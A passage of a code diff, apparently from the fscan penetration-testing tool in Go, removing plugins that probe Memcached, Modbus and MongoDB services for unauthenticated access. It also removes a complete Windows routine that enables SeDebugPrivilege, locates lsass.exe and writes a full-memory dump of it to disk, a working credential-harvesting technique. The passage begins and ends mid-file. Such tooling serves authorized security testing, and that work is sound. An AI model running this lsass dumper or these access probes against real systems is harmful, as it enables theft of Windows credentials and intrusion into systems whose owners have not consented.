||||
|
||||
// MemcachedScanResult 表示Memcached扫描结果
|
||||
type MemcachedScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Stats string
|
||||
}
|
||||
|
||||
// MemcachedScan 检测Memcached未授权访问
|
||||
func MemcachedScan(info *Common.HostInfo) error {
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
|
||||
|
||||
// 尝试连接并检查未授权访问
|
||||
result := tryMemcachedConnection(ctx, info, Common.Timeout)
|
||||
|
||||
if result.Success {
|
||||
// 保存成功结果
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "memcached",
|
||||
"type": "unauthorized-access",
|
||||
"description": "Memcached unauthorized access",
|
||||
"stats": result.Stats,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(scanResult)
|
||||
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
Common.LogDebug("Memcached扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
|
||||
return result.Error
|
||||
}
|
||||
|
||||
// tryMemcachedConnection 尝试连接Memcached并检查未授权访问
|
||||
func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan *MemcachedScanResult, 1)
|
||||
|
||||
// 创建连接上下文,带超时
|
||||
connCtx, connCancel := context.WithTimeout(ctx, timeout)
|
||||
defer connCancel()
|
||||
|
||||
// 在协程中尝试连接
|
||||
go func() {
|
||||
// 构建结果结构
|
||||
result := &MemcachedScanResult{
|
||||
Success: false,
|
||||
Error: nil,
|
||||
Stats: "",
|
||||
}
|
||||
|
||||
// 建立TCP连接
|
||||
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
|
||||
if err != nil {
|
||||
result.Error = err
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- result:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// 设置操作截止时间
|
||||
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
result.Error = err
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- result:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 发送stats命令
|
||||
if _, err := client.Write([]byte("stats\n")); err != nil {
|
||||
result.Error = err
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- result:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err != nil {
|
||||
result.Error = err
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- result:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 检查响应是否包含统计信息
|
||||
response := string(rev[:n])
|
||||
if strings.Contains(response, "STAT") {
|
||||
result.Success = true
|
||||
result.Stats = response
|
||||
}
|
||||
|
||||
// 发送结果
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- result:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
// 全局上下文取消
|
||||
return &MemcachedScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
// 连接超时
|
||||
return &MemcachedScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,319 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// ProcessManager 处理进程相关操作
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// 创建新的进程管理器
|
||||
func NewProcessManager() (*ProcessManager, error) {
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
return &ProcessManager{
|
||||
kernel32: kernel32,
|
||||
dbghelp: dbghelp,
|
||||
advapi32: advapi32,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("获取第一个进程失败")
|
||||
}
|
||||
|
||||
for {
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||
proc.Call(handle)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) ElevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %v", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||
ret, _, err := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
0x00061907, // MiniDumpWithFullMemory
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||
handle, _, err := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0,
|
||||
0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// 查找目标进程
|
||||
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
// 检查是否具有管理员权限
|
||||
func IsAdmin() bool {
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.FreeSid(sid)
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
func MiniDump(info *Common.HostInfo) (err error) {
|
||||
// 先检查管理员权限
|
||||
if !IsAdmin() {
|
||||
Common.LogError("需要管理员权限才能执行此操作")
|
||||
return fmt.Errorf("需要管理员权限才能执行此操作")
|
||||
}
|
||||
|
||||
pm, err := NewProcessManager()
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
|
||||
return fmt.Errorf("初始化进程管理器失败: %v", err)
|
||||
}
|
||||
|
||||
// 查找 lsass.exe
|
||||
pid, err := pm.FindProcess("lsass.exe")
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("查找进程失败: %v", err))
|
||||
return fmt.Errorf("查找进程失败: %v", err)
|
||||
}
|
||||
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
|
||||
|
||||
// 提升权限
|
||||
if err := pm.ElevatePrivileges(); err != nil {
|
||||
Common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
||||
return fmt.Errorf("提升权限失败: %v", err)
|
||||
}
|
||||
Common.LogSuccess("成功提升进程权限")
|
||||
|
||||
// 创建输出路径
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
||||
|
||||
// 执行转储
|
||||
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
||||
os.Remove(outputPath)
|
||||
Common.LogError(fmt.Sprintf("进程转储失败: %v", err))
|
||||
return fmt.Errorf("进程转储失败: %v", err)
|
||||
}
|
||||
|
||||
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
|
||||
return nil
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import "github.com/shadow1ng/fscan/Common"
|
||||
|
||||
func MiniDump(info *Common.HostInfo) (err error) {
|
||||
return nil
|
||||
}
|
||||
@@ -1,274 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ModbusScanResult 表示 Modbus 扫描结果
|
||||
type ModbusScanResult struct {
|
||||
Success bool
|
||||
DeviceInfo string
|
||||
Error error
|
||||
}
|
||||
|
||||
// ModbusScan 执行 Modbus 服务扫描
|
||||
func ModbusScan(info *Common.HostInfo) error {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 执行扫描
|
||||
result := tryModbusScan(ctx, info, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if result.Success {
|
||||
// 保存扫描结果
|
||||
saveModbusResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Modbus 扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
if result.Error != nil {
|
||||
Common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
|
||||
return result.Error
|
||||
}
|
||||
Common.LogDebug("Modbus 扫描完成,未发现服务")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryModbusScan 尝试单个 Modbus 扫描
|
||||
func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
|
||||
var lastErr error
|
||||
host, port := info.Host, info.Ports
|
||||
target := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建单个连接超时的上下文
|
||||
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan *ModbusScanResult, 1)
|
||||
|
||||
// 在协程中执行扫描
|
||||
go func() {
|
||||
// 尝试建立连接
|
||||
var d net.Dialer
|
||||
conn, err := d.DialContext(connCtx, "tcp", target)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- &ModbusScanResult{Success: false, Error: err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 构造 Modbus TCP 请求包 - 读取设备ID
|
||||
request := buildModbusRequest()
|
||||
|
||||
// 设置读写超时
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(timeoutSeconds) * time.Second))
|
||||
|
||||
// 发送请求
|
||||
_, err = conn.Write(request)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("发送Modbus请求失败: %v", err),
|
||||
}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
response := make([]byte, 256)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("读取Modbus响应失败: %v", err),
|
||||
}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 验证响应
|
||||
if isValidModbusResponse(response[:n]) {
|
||||
// 获取设备信息
|
||||
deviceInfo := parseModbusResponse(response[:n])
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- &ModbusScanResult{
|
||||
Success: true,
|
||||
DeviceInfo: deviceInfo,
|
||||
}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("非Modbus服务或访问被拒绝"),
|
||||
}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待扫描结果或超时
|
||||
var result *ModbusScanResult
|
||||
select {
|
||||
case res := <-resultChan:
|
||||
result = res
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
connCancel()
|
||||
return &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
result = &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
}
|
||||
}
|
||||
|
||||
connCancel()
|
||||
|
||||
if result.Success {
|
||||
return result
|
||||
}
|
||||
|
||||
lastErr = result.Error
|
||||
if result.Error != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(result.Error); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ModbusScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
}
|
||||
}
|
||||
|
||||
// buildModbusRequest 构建Modbus TCP请求包
|
||||
func buildModbusRequest() []byte {
|
||||
request := make([]byte, 12)
|
||||
|
||||
// Modbus TCP头部
|
||||
binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符
|
||||
binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符
|
||||
binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度
|
||||
request[6] = 0x01 // 单元标识符
|
||||
|
||||
// Modbus 请求
|
||||
request[7] = 0x01 // 功能码: Read Coils
|
||||
binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址
|
||||
binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量
|
||||
|
||||
return request
|
||||
}
|
||||
|
||||
// isValidModbusResponse 验证Modbus响应是否有效
|
||||
func isValidModbusResponse(response []byte) bool {
|
||||
if len(response) < 9 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查协议标识符
|
||||
protocolID := binary.BigEndian.Uint16(response[2:])
|
||||
if protocolID != 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查功能码
|
||||
funcCode := response[7]
|
||||
if funcCode == 0x81 { // 错误响应
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// parseModbusResponse 解析Modbus响应获取设备信息
|
||||
func parseModbusResponse(response []byte) string {
|
||||
if len(response) < 9 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 提取更多设备信息
|
||||
unitID := response[6]
|
||||
funcCode := response[7]
|
||||
|
||||
// 简单的设备信息提取,实际应用中可以提取更多信息
|
||||
info := fmt.Sprintf("Unit ID: %d, Function: 0x%02X", unitID, funcCode)
|
||||
|
||||
// 如果是读取线圈响应,尝试解析线圈状态
|
||||
if funcCode == 0x01 && len(response) >= 10 {
|
||||
byteCount := response[8]
|
||||
if byteCount > 0 && len(response) >= 9+int(byteCount) {
|
||||
coilValue := response[9] & 0x01 // 获取第一个线圈状态
|
||||
info += fmt.Sprintf(", Coil Status: %d", coilValue)
|
||||
}
|
||||
}
|
||||
|
||||
return info
|
||||
}
|
||||
|
||||
// saveModbusResult 保存Modbus扫描结果
|
||||
func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanResult) {
|
||||
// 保存扫描结果
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "modbus",
|
||||
"type": "unauthorized-access",
|
||||
"device_info": result.DeviceInfo,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(scanResult)
|
||||
|
||||
// 控制台输出
|
||||
Common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
|
||||
if result.DeviceInfo != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
|
||||
}
|
||||
}
|
||||
@@ -1,195 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MongodbScan 执行MongoDB未授权扫描
|
||||
func MongodbScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
isUnauth bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中执行扫描
|
||||
go func() {
|
||||
isUnauth, err := MongodbUnauth(ctx, info)
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
isUnauth bool
|
||||
err error
|
||||
}{isUnauth, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result.err != nil {
|
||||
errlog := fmt.Sprintf("MongoDB %v %v", target, result.err)
|
||||
Common.LogError(errlog)
|
||||
return result.err
|
||||
} else if result.isUnauth {
|
||||
// 记录控制台输出
|
||||
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
|
||||
|
||||
// 保存未授权访问结果
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "mongodb",
|
||||
"type": "unauthorized-access",
|
||||
"protocol": "mongodb",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(scanResult)
|
||||
} else {
|
||||
Common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
|
||||
return fmt.Errorf("全局超时")
|
||||
}
|
||||
}
|
||||
|
||||
// MongodbUnauth 检测MongoDB未授权访问
|
||||
func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, error) {
|
||||
msgPacket := createOpMsgPacket()
|
||||
queryPacket := createOpQueryPacket()
|
||||
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
|
||||
|
||||
// 尝试OP_MSG查询
|
||||
Common.LogDebug("尝试使用OP_MSG协议")
|
||||
reply, err := checkMongoAuth(ctx, realhost, msgPacket)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
|
||||
// 失败则尝试OP_QUERY查询
|
||||
reply, err = checkMongoAuth(ctx, realhost, queryPacket)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
// 检查响应结果
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
Common.LogDebug("响应中包含totalLinesWritten,确认未授权访问")
|
||||
return true, nil
|
||||
}
|
||||
|
||||
Common.LogDebug("响应未包含预期内容,可能需要认证")
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// checkMongoAuth 检查MongoDB认证状态
|
||||
func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
|
||||
Common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 使用带超时的连接
|
||||
var d net.Dialer
|
||||
conn, err := d.DialContext(connCtx, "tcp", address)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 设置读写超时
|
||||
if err := conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return "", fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送查询包
|
||||
Common.LogDebug("发送查询包")
|
||||
if _, err := conn.Write(packet); err != nil {
|
||||
return "", fmt.Errorf("发送查询失败: %v", err)
|
||||
}
|
||||
|
||||
// 再次检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
Common.LogDebug("读取响应")
|
||||
reply := make([]byte, 2048)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil && err != io.EOF {
|
||||
return "", fmt.Errorf("读取响应失败: %v", err)
|
||||
}
|
||||
|
||||
if count == 0 {
|
||||
return "", fmt.Errorf("收到空响应")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
|
||||
